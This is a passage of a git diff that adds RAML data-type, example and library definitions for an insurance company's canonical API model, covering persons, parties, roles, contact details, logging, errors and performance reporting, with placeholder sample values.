b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-document-statistic.raml @@ -0,0 +1,44 @@ +#%RAML 1.0 DataType + +displayName: Document Statistic +description: Information regarding the size of a text based document. +additionalProperties: true + +properties: + number-of-characters: + required: false + type: number + example: 6457 + number-of-characters-with-spaces: + required: false + type: number + example: 7301 + number-of-words: + required: false + type: number + example: 563 + number-of-sentences: + required: false + type: number + example: 52 + number-of-paragraphs: + required: false + type: number + example: 8 + number-of-pages: + required: false + type: number + example: 3 + number-of-lines: + required: false + type: number + example: 104 + +example: + number-of-characters: 6457 + number-of-characters-with-spaces: 7301 + number-of-words: 563 + number-of-sentences: 52 + number-of-paragraphs: 8 + number-of-pages: 3 + number-of-lines: 104 \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-email-address.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-email-address.raml new file mode 100644 index 0000000..4c2bf74 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-email-address.raml @@ -0,0 +1,19 @@ +#%RAML 1.0 DataType + +uses: + lib: ../libraries/library-context-and-preference.raml + +displayName: Email Address + +type: [lib.preferable, lib.contextual] +additionalProperties: false + +properties: + address: + displayName: Full email address + required: false + type: string + +example: + context: work + address: john.doe@company.com \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-error.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-error.raml new file mode 100644 index 0000000..8e4726b --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-error.raml @@ -0,0 +1,33 @@ +#%RAML 1.0 DataType + +displayName: Aflac Error Type +description: The type to be used in all Aflac Software Components to report an error condition + +type: object +additionalProperties: false + +properties: + transaction-id: + displayName: Transaction ID + description: This is the unique id that flows throughout a request process. By providing the transaction ID the complete records regarding that request can be retrieved from an appropriate system. + type: string + required: false + type: + displayName: Error Type + type: string + required: false + message: + displayName: Error Message + type: string + required: false + time: + displayName: Occurence Time + type: string + required: false + description: The timestamp will be shown in GMT + +example: + transaction-id: aaaaaaaa-bbbb-cccc-dddd-0123456789ab + type: Data error + message: String value was expected but number value received + time: 2018-05-31T15:00:06,325Z \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-habit.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-habit.raml new file mode 100644 index 0000000..45a5b76 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-habit.raml @@ -0,0 +1,61 @@ +#%RAML 1.0 DataType + +displayName: Habit +description: A habit is a repeated behaviour of doing something. Smoking, vaping, drinking, video game playing can all be habits. This object captures the amount and frequency of a habit. + +type: object +additionalProperties: false + + +properties: + habit-name: + displayName: Habit Name + description: Name of the habit + required: false + type: string + usage-amount: + displayName: Usage Amount + description: a number that represents the usage + required: false + type: number + usage-unit: + displayName: Usage Unit + description: unit of the usage amount + required: false + type: string + time-amount: + displayName: Time Amount + description: a number that represents per time + required: false + type: number + time-unit: + displayName: Time Unit + description: unit that represents time amount + required: false + type: string + +examples: + smoking-example: + habit-name: smoking + usage-amount: 2 + usage-unit: pack + time-amount: 1 + time-unit: day + gaming-example: + habit-name: video games + usage-amount: 6 + usage-unit: hour + time-amount: 1 + time-unit: day + drinking-example1: + habit-name: beer consumption + usage-amount: 6 + usage-unit: can + time-amount: 1 + time-unit: day + drinking-example2: + habit-name: coffee consumption + usage-amount: 10 + usage-unit: cup + time-amount: 1 + time-unit: week diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-language.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-language.raml new file mode 100644 index 0000000..ffef655 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-language.raml @@ -0,0 +1,32 @@ +#%RAML 1.0 DataType + +uses: + lib: ../libraries/library-context-and-preference.raml + +displayName: Language +description: This data structure contains the language information of a person + +type: [lib.preferable, lib.contextual] +additionalProperties: false + +properties: + name: + displayName: Language Name + description: The spelled out name of the language such as English or Spanish + type: string + required: false + code: + displayName: ISO Language Code + description: ISO 639-1, 2 character language code as it is listed here https://www.loc.gov/standards/iso639-2/php/code_list.php + type: string + required: false + locale: + displayName: Language Locale + description: The locale that determines the accent and dialect such as US vs UK for English + type: string + required: false + +example: + name: English + code: en + locale: US diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-log-entry.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-log-entry.raml new file mode 100644 index 0000000..a99c633 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-log-entry.raml @@ -0,0 +1,92 @@ +#%RAML 1.0 DataType + +displayName: Aflac Log Entry Type +description: The type to be used in all Aflac Software Components when logging any activity + +type: object +additionalProperties: false + +properties: + transaction-id: + displayName: Transaction ID + description: | + The GUID that uniquely identifies the consumer's request. + This id should originate from the consumer. + If the consumer cannot produce a unique id, then the first point of contact software component produces it on behalf of the consumer. + This id continues to be propagated to downstream components via the Aflac-Timestamps header, both in request and response flows. + type: string + required: false + level: + displayName: Log Entry Level + required: false + enum: + - FATAL + - ERROR + - WARN + - INFO + - DEBUG + - TRACE + code: + displayName: Entry Code + description: Any code that can be used to identify a condition, both success or failure. This can be a response code, a status code that is specific to a protocol + type: string + required: false + examples: + http_example: HTTP 404 + amqp_example: AMQP 9903 + sql_example: JDBC 3001 + jms_example: JMS 668 + origin: + displayName: Origination Point + description: Information regarding what has created this log entry + required: false + type: !include dataType-code-origin.raml + message: + displayName: Any message in free text form for additional information + type: string + required: false + time: + displayName: Occurence Time + description: | + When the software component creates this log entry. + GMT long number. + Instead of using a formatted date-time string use the long number that represents the GMT time in milliseconds. + This element is especially important to provide with the Traffic Direction and Origination Point to calculate all system performance. + The accuracy of the system performance information depends on the machine time synchronization with a master clock. + type: number + required: false + direction: + displayName: Traffic Direction + description: | + A software component can have the following 4 traffic modes + - RequestFromConsumer: The component has just received a request from a consumer + - ResponseToConsumer: The component is about to send the response back to the consumer + - RequestToProvider: The component is making a request to another provider + - ResponseFromProvider: The component has just received a response from the provider + required: false + enum: + - RequestFromConsumer + - ResponseToConsumer + - RequestToProvider + - ResponseFromProvider + +examples: + info-example: + transaction-id: B744DF0B-0B71-4A0C-9F5A-8D45F204987D + level: INFO + origin: + node: PCNSDBSQL01 + component: Account API + message: Received a request from ABC Consumer + time: 157002458744 + direction: RequestFromConsumer + error-example: + transaction-id: B744DF0B-0B71-4A0C-9F5A-8D45F204987D + level: ERROR + code: HTTP 429 + origin: + node: PCNSDBSQL01 + component: Account API + message: Limit Exceeded. This API does not allow ABC consumer more than 10 requests per minute" + time: 157002458744 + direction: RequestFromConsumer diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-master-key.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-master-key.raml new file mode 100644 index 0000000..4e793e7 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-master-key.raml @@ -0,0 +1,49 @@ +#%RAML 1.0 DataType + +uses: + source-lib: ../libraries/library-source.raml + +displayName: Master Key +description: | + The master key is a generically reusable object that can uniquely identify any record in any system. Master key can also uniquely identify the combined data of an entity from all systems using a global id. + As an example, consider a business entity called Person. The Person's full information may have been distributed on several Source systems. If we read all Source systems and combine the data, removing redundant elements, we would reach a complete Person record. The Person's record in System 1 may be identitified by an element such as SSN, in System 2 it may be identified by many elements, such as full name, date of birth and location of birth, in System 3 may be idenitified by an internal ID. Each system may contain pieces of important information and some information may have been redundantly stored in more than one source system. + +type: object +additionalProperties: false + +properties: + type: + displayName: Object's Type Name + description: The name of the object's type. This should be a concrete business entity name that makes sense in Aflac's business, such as a policyholder, associate, account, invoice, etc. + required: false + type: string + guid: + displayName: Global Unique ID + description: A unique ID that represents a specific entity across all systems + required: false + type: string + sources: + displayName: Sources + description: the list of sources each of which contains some or all parts of an entity's full information + type: source-lib.sources + required: false +examples: + policyholder-example: + type: policyholder + guid: 12345678-ABCD-DEFA-0001-0123456789ABCDEF + sources: + - source-name: Customer Information File + source-code: CIF + resource-keys: + - name: CIFNumber + value: PH5534265142 + type: string + - source-name: SalesForce + source-code: SFE + resource-keys: + - name: SFID + value: 112233445566ASDD + type: string + + associate-example: + type: associate diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-organization.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-organization.raml new file mode 100644 index 0000000..98be2c3 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-organization.raml @@ -0,0 +1,38 @@ +#%RAML 1.0 DataType + +uses: + party-lib: ../libraries/library-party.raml + +displayName: Organization +description: Organization represents any business + +type: party-lib.party +additionalProperties: false + +properties: + organization-name: + displayName: Organization Name + description: Full name of the organization + required: false + type: string + date-of-establishment: + displayName: Date of Establishment + description: Organization's first day of official existence + required: false + type: date-only + date-of-disestablishment: + displayName: Date of Disestablishment + description: Organization's last day of official existence + required: false + type: date-only + total-employee-count: + displayName: Total Employee Count + description: Number of employees an organization has + required: false + type: integer + tax-id: + displayName: Tax ID + description: Government issued tax ID + required: false + type: property-lib.property + diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-party.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-party.raml new file mode 100644 index 0000000..903d075 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-party.raml @@ -0,0 +1,37 @@ +#%RAML 1.0 DataType + +uses: + role-lib: ../libraries/library-role.raml + +displayName: Party +description: | + Any entity that can take part in a business transaction and can be interacted with is considered a party. There are two main groups, person and organization. + In Aflac's business, examples in person category include Associates, Applicants, Insurance Agreement Holders, Beneficiaries, Employees, Dependents and so on. Examples in organization category include Accounts, Brokers and Third Party Administrators. + Each of these examples is considered to be a role of a party. For example, a party can be both an associate, an applicant and an insurance agreement holder. Each of these roles may have some common properties and some role specific properties. + +type: object +additionalProperties: false + +properties: + party-name: + displayName: Party Name + description: The name of the party. If the party is of type Person, this is set to the Person's full name. If the party is of Type Organization, this is set to the name of the organization. + required: false + type: string + + party-type: + displayName: Party Type + description: Type of the party whether it is of Person or Organization. When Person is selected the person-info property is populated, and organization-info property is not populated. When Organization is selected, the organization-info property is populated and person-info property is not populated. When it is left as unset, it is not definitive which *-info is populated. Both person-info and organization-info properties must NOT be populated in the same party instance. + type: string + required: false + enum: + - Person + - Organization + - Unset + default: Unset + + roles: + displayName: Roles + description: Every party instance may represent one or more roles. + required: false + type: role-lib.roles \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-node.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-node.raml new file mode 100644 index 0000000..d1d4787 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-node.raml @@ -0,0 +1,43 @@ +#%RAML 1.0 DataType + +displayName: Performance Node +description: This object represents a component node which captures a request or response entry or exit point. + +type: object +additionalProperties: false + +properties: + n: + displayName: Node + description: The name of the machine on which the component is executing. If the machine is a node in a cluster the exact name of the machine needs to be used + required: false + type: string + c: + displayName: Component + description: The name of the software component that is handling the request or response + required: false + type: string + t: + displayName: Time + description: the time when the traffic has entered or left the component. This is a long number of the GMT rather than any formatted time string. + required: false + type: number + s: + displayName: Status + description: this field only applicable for a response and shows the status of the response. + required: false + type: string + d: + displayName: Direction + description: | + the direction of the traffic + uQ : stands for upstreamReQuest. Use this value when your component receives a request from the upstream flow. This indicates that the request is coming into your component. + uS : stands for upstreamReSponse. Use this value when your component returns a response to the upstream flow. This indicates that the response is going back to the component's consumer. + dQ : stands for downstreamReQuest. Use this value when your component is sending a request to another coomponent in the downstream flow. This indicates that the request is leaving your component. + dS : stands for dowstreamReSponse. Use this value when your component receives the response from the dowstream request. This indicates that the response has arrived into your component. + required: false + enum: + - uQ + - uS + - dQ + - dS \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-report.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-report.raml new file mode 100644 index 0000000..e11bb24 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-report.raml @@ -0,0 +1,22 @@ +#%RAML 1.0 DataType + +uses: + performance-lib: ../libraries/library-performance.raml + +type: object +additionalProperties: false + +properties: + active: + displayName: Activation Flag + description: | + A consumer can set this flag to true which will enable the creation of performance report in the header. + This indicates all downstream components to collect and update the aflac-performance-report header object values accordingly. + required: false + type: boolean + default: false + ns: + type: performance-lib.performance-nodes + +examples: + !include ../examples/example-performance-report.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person-name.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person-name.raml new file mode 100644 index 0000000..acde767 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person-name.raml @@ -0,0 +1,45 @@ +#%RAML 1.0 DataType + +displayName: Name +description: Structure to represent a person's full name + +type: object +additionalProperties: false + +properties: + salutation: + required: false + enum: + - Mr. + - Ms. + - Mrs. + first-name: + required: false + type: string + middle-name: + required: false + type: string + last-name: + required: false + type: string + suffix: + required: false + type: string + nick-names: + required: false + type: array + items: string +examples: + regular-example: + salutation: Mr. + first-name: John + middle-name: F + last-name: Remedy + suffix: III + nick-names: [Babyface, Softhands] + extended-example: + salutation: Mr. + first-name: John + middle-name: F + last-name: Remedy + suffix: III \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person.raml new file mode 100644 index 0000000..8c8130d --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person.raml @@ -0,0 +1,103 @@ +#%RAML 1.0 DataType + +uses: + party-lib: ../libraries/library-party.raml + person-name-lib: ../libraries/library-person-name.raml + address-lib: ../libraries/library-address.raml + habit-lib: ../libraries/library-habit.raml + property-lib: ../libraries/library-property.raml + + + +displayName: Person + +type: party-lib.party +additionalProperties: false + +properties: + name: + displayName: Person's full name + required: false + type: person-name-lib.person-name + gender: + displayName: Person's gender + required: false + enum: + - Male + - Female + - Other + - Unknown + date-of-birth: + displayName: Person's date of birth + required: false + type: date-only + location-of-birth: + displayName: Person's location of birth + required: false + type: address-lib.address + date-of-death: + displayName: Person's date of death + required: false + type: date-only + ethnicity: + displayName: Person's Ethnicity + required: false + type: string + marital-status: + displayName: Marital Status + description: Current Marital Status of a Person, such as, single, married, divorced, widowed etc. + required: false + type: string + social-security-number: + displayName: Social Security NUmber + description: Government issued social security number + required: false + type: property-lib.property + habits: + displayName: Habits + description: a collection of all habits a person may have + required: false + type: habit-lib.habits +examples: + regular-example: + name: + salutation: Mr. + first-name: John + middle-name: F + last-name: Remedy + suffix: III + gender : Male + date-of-birth: 1999-01-01 + social-security-number: + type: string + value: ASS45ffwr+== + encryption-flag: encrypted + location-of-birth: + city: Atlanta + state-region-code: GA + country: USA + extended-example: + name: + salutation: Mr. + first-name: John + middle-name: F + last-name: Remedy + suffix: III + gender : Male + date-of-birth: 1999-01-01 + location-of-birth: + city: Atlanta + state-region-code: GA + country: USA + marital-status: married + habits: + - habit-name: video games + usage-amount: 6 + usage-unit: hour + time-amount: 1 + time-unit: day + - habit-name: beer consumption + usage-amount: 6 + usage-unit: can + time-amount: 1 + time-unit: day diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-phone.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-phone.raml new file mode 100644 index 0000000..8443215 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-phone.raml @@ -0,0 +1,32 @@ +#%RAML 1.0 DataType + +uses: + core: ../libraries/library-context-and-preference.raml + +displayName: Phone +description: Used to express the values of any phone number in the world + +type: [core.preferable, core.contextual] +additionalProperties: false + +properties: + country-code: + required: false + type: string + area-code: + required: false + type: string + phone-number: + required: false + type: string + ext: + displayName: phone extension + required: false + type: string + +example: + context: Mobile + country-code: "1" + area-code: "877" + phone-number: 763-3000 + ext: "24558" \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-policyholder.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-policyholder.raml new file mode 100644 index 0000000..c055464 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-policyholder.raml @@ -0,0 +1 @@ +#%RAML 1.0 DataType \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-preferable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-preferable.raml new file mode 100644 index 0000000..320fc02 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-preferable.raml @@ -0,0 +1,15 @@ +#%RAML 1.0 DataType + +displayName: Preference Index +type: object +additionalProperties: false + +properties: + preference-index: + required: false + type: integer + displayName: Preference Index + description: Preference index is an integer number between 0 and 9. If there are many contact methods a party can be reached at, the contact information with the highest preference index is to be chosen. Preference index number can span multiple types of contact information, for example, a party can have 2 addresses, 3 phones and 1 email address, altogether 6 contact methods with preference indexes, 0, 0, 9, 0, 0, 1, respectively. This would mean that the party prefers to be contacted first through the 1st phone number and second through the email address and the party does not want to be contacted through anything else even though those additional contact information has been provided. + default: 0 + example: 3 + \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-property.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-property.raml new file mode 100644 index 0000000..b0ae300 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-property.raml @@ -0,0 +1,61 @@ +#%RAML 1.0 DataType + +displayName: Entity Property +description: A generic type that can contain a typed name value pair. + +type: object +additionalProperties: false + +properties: + order: + description: When this type is used as an array the order field shows the where in the arraqy a specific element is placed + required: false + type: number + type: + displayName: Property Type Name + description: The type of the value, such as string, number, boolean, etc. Must be a primitive type, not an object type. + required: false + type: string + is-array: + required: false + type: boolean + delimiter: + required: false + type: string + name: + required: false + type: string + value: + required: false + type: string + masking-flag: + required: false + type: string + enum: + - to-be-masked + - masked + encryption-flag: + required: false + type: string + enum: + - to-be-encrypted + - encrypted +examples: + number-example: + value: + order: 1 + type: number + name: age + value: "45" + string-example: + value: + order: 5 + type: string + name: city + value: Atlanta + ssn-example: + value: + type: string + name: ssn + value: 2t5rRE4ew3ew== + encryption-flag: encrypted \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-role.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-role.raml new file mode 100644 index 0000000..2ed4982 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-role.raml @@ -0,0 +1,51 @@ +#%RAML 1.0 DataType + +uses: + master-key-lib: ../libraries/library-master-key.raml + property-lib: ../libraries/library-property.raml + contact-info-lib: ../libraries/library-contact-info.raml + +displayName: Role +description: Role applies to a party and describes the specifics of that party instance. For example, a party can be a person who is both a policyholder and an associate. This means that the same person has two roles. Some of the person's properties such as his name, gender and age may be common to all of his roles, while some other properties such as his policyholder ID is unique to his policyholder role and his associate ID is unique to his associate role. Sometimes there may be more than one system of record for this person and the data has to be collected and merged to get a complete picture. +type: object +additionalProperties: false + +properties: + id: + displayName: ID + description: The unique id of the instance represented by this role. For example, if the role-name is policyholder then this ID represents a specific policyholder + required: false + type: master-key-lib.master-key + + role-name: + displayName: Role name + description: | + Name of the role. Role names are listed in this documentation instead of an enumaration as new names may be added at any time. + Current Person based role names are + - Insurance Agreement Holder + - Policyholder + - Certificateholder + - Claimant + - Applicant + - Dependent + - Beneficiary + - Associate + - Employee + Current Organization based role names are + - Account + - Third Party Administrator + - Broker + required: false + type: string + + contact-information: + displayName: Role Contact Information + description: Contact Information for the role + required: false + type: contact-info-lib.contact-information + + statuses: + displayName: Role Statuses + description: the description of each status as an array + required: false + type: property-lib.properties \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-social-media-account.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-social-media-account.raml new file mode 100644 index 0000000..fe4a544 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-social-media-account.raml @@ -0,0 +1,28 @@ +#%RAML 1.0 DataType + +uses: + core: ../libraries/library-context-and-preference.raml + +displayName: Social Media Account Information + +type: [core.preferable, core.contextual] +additionalProperties: false + +properties: + platform-name: + displayName: Platform Name + description: The name of the social media platform such as Skype, WhatsApp, Twitter, Instagram, etc. + required: false + type: string + user-name: + displayName: User Name + required: false + type: string + +examples: + skype-example: + platform-name: Skype + user-name: JohnDoe2011 + facebook-example: + platform-name: Facebook + user-name: JohnDoe2011 diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-source.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-source.raml new file mode 100644 index 0000000..a280e59 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-source.raml @@ -0,0 +1,65 @@ +#%RAML 1.0 DataType +uses: + property-lib: ../libraries/library-property.raml + version-lib: ../libraries/library-version.raml + +displayName: Source +description: Source represents the location of persisted data and its unique identifier(s). This value can be provided to consumer services for routing and optimistic record locking purposes. Consumer applications should not see this value. + +type: object +additionalProperties: false + +properties: + source-name: + displayName: Source Name + description: The name of the Source System + required: false + type: string + source-code: + displayName: Source Code + description: The code abbreviation of the Source System + required: false + type: string + source-version: + displayName: Source Version + description: The version of the Source System in which the record exists + required: false + type: version-lib.version + record-creation-time: + displayName: Record Creation Time + description: Shows in GMT when a particular record has been created + required: false + type: datetime + record-last-updated-time: + displayName: Record Last Update Time + description: Shows in GMT when a particular record has been last updated + required: false + type: datetime + resource-keys: + displayName: Resource ID + description: | + An object can be identified combining several pieces of information, each of them a part of a composite key. + For example, a person can be identified by the combination of name, date and location of birth. + Name has 5 subcomponents, salutation, first, middle, last name and suffix. + date of birth has 3 subcomponents, month, day and year + location of birth has 3 subcomponents, city, state and country + altogether 11 subcomponents in a very specific order can identify a person + type: property-lib.properties + required: false + delimiter: + displayName: Delimiter + description: This is the character or character sequence that delimits individual key values + required: false + type: string + default: "~" + example: "~" + composite-key: + displayName: Composite Key + description: | + Composite key combines the values of each key component, places the delimiter between them and represents the object's id as a single string. + type: string + required: false + examples: + person-example: CIF(Mr.~John~F~Remedy~III~8~21~1964~Atlanta~GA~USA) + person-with-missing-values-example: WYN(~John~F~Remedy~~8~21~1964~Atlanta~GA~USA) + ssn-example: CIF(~~~~~~~~~~~~2rTe45ri8==) \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-version.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-version.raml new file mode 100644 index 0000000..3e175f2 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-version.raml @@ -0,0 +1,36 @@ +#%RAML 1.0 DataType + +displayName: Version Information +description: Used to capture version information of software components and artifacts. The implementation of this type must be done in such a way so that when full field is edited major, minor and revision fields are automatically set to correct values and when any any of the major, minor or revision fields are edited the full field is repopulated with the correct values. + +type: object +additionalProperties: false + +properties: + major: + displayName: Major Version Number + required: false + type: string + example: "1" + minor: + displayName: Minor Version Number + required: false + type: string + example: "5" + revision: + displayName: Revision Number + required: false + type: string + example: "181_b1" + full: + displayName: Full Version Number + description: A combination of major.minor.revision that is usually dot delimited + required: false + type: string + example: "1.5.181_b1" + +example: + major: "1" + minor: "5" + revision: "181_b1" + full: "1.5.181_b1" \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/docs/Legal.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/docs/Legal.raml new file mode 100644 index 0000000..651e0ff --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/docs/Legal.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 DocumentationItem +title: Legal +content: Add Legalese here that applies too all APIs \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-error.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-error.raml new file mode 100644 index 0000000..69e58ed --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-error.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +error-example: + value: + transaction-id: aaaaaaaa-bbbb-cccc-dddd-0123456789ab + type: Data error + message: String value was expected but number value received + time: 2018-05-31T15:00:06,325Z \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-get-health-check.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-get-health-check.raml new file mode 100644 index 0000000..0e77777 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-get-health-check.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 NamedExample +health-check-example: + value: + - context: experienceAPI-datacap-claims + code: "1" + short-description: healthy + - context: processAPI-claim-adjudicator + code: "1" + short-description: healthy + - context: systemAPI-wynsure-claims + code: "1" + short-description: healthy + - context: systemAPI-SQL-DB-claims + code: "404" + short-description: resource not found + long-description: The health check on systemAPI-SQL-DB-claims did not respond with success. Contact SQL Server DBA. \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-performance-report.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-performance-report.raml new file mode 100644 index 0000000..405e188 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-performance-report.raml @@ -0,0 +1,23 @@ +#%RAML 1.0 NamedExample +performance-example: + value: + active: true + ns: + - n: ConsumerMachine + c: Provider A + t: 1230000000000 + d: dQ + - n: Server1 + c: Provider A + t: 1230000000150 + d: uQ + - n: ConsumerMachine + c: Provider A + t: 123000005400 + d: uS + s: "200" + - n: ConsumerMachine + c: Provider A + t: 123000005400 + d: dS + s: "200" \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/exchange.json b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/exchange.json new file mode 100644 index 0000000..3704e99 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/exchange.json @@ -0,0 +1 @@ +{"main":"data-types/dataType-contact-information.raml","name":"aflac-canonical-definitions","classifier":"raml-fragment","tags":["trait"],"groupId":"f810f56f-6647-4b99-8172-a7212e2bd0fa","assetId":"aflac-canonical-definitions","version":"1.0.0","backwardsCompatible":false,"apiVersion":"v1","metadata":{"projectId":"18456417-f1e7-4671-9cba-faf5d7bf37bd","branchId":"master","commitId":"247afc996e8b6f557f5931064433bdd06c961433"}} \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-address.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-address.raml new file mode 100644 index 0000000..d1f3b6d --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-address.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + address: !include ../data-types/dataType-address.raml + addresses: + displayName: Addresses + description: A collection of addresses + type: address[] \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-base.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-base.raml new file mode 100644 index 0000000..bf488f2 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-base.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 Library +types: + base: !include ../data-types/dataType-base.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-basic-questions-set.raml 